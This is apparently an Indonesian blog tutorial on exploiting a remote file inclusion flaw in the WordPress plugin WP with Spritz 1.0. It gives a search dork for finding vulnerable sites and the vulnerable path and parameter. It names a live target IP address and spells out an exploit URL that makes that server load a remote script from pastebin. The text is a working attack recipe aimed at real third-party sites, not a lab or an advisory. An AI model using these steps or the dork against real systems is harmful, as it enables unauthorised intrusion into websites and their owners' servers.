Exploit Wordpress Plugin Wp With Spritz 1.0 Remote File Inclusion

Hola Exploiter !! kali ini saya akan share Tutorial WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion, Sebelumnya kalian bisa baca apa itu Remote File Inclusion Disini.

Oke langsung Saja

Bahan - Bahan

- Dork : inurl:/wp-content/plugins/wp-with-spritz/

- Script : https://pastebin.com/raw/EStDfMy3 *kalian bisa membuatnya sendiri di pastebin
- Exploit : /wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=(Script)

Pertama - tama kalian bisa Dorking menggunakan Dork diatas atau menggunakan Live Target di bawah.
Live Target : http://179.1.14.143/

Selanjutnya masukkan exploit nya
Contoh : http://179.1.14.143/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=https://pastebin.com/raw/EStDfMy3

Ok Segitu aja tutorial kali ini

Referensi : dotnaonweh.net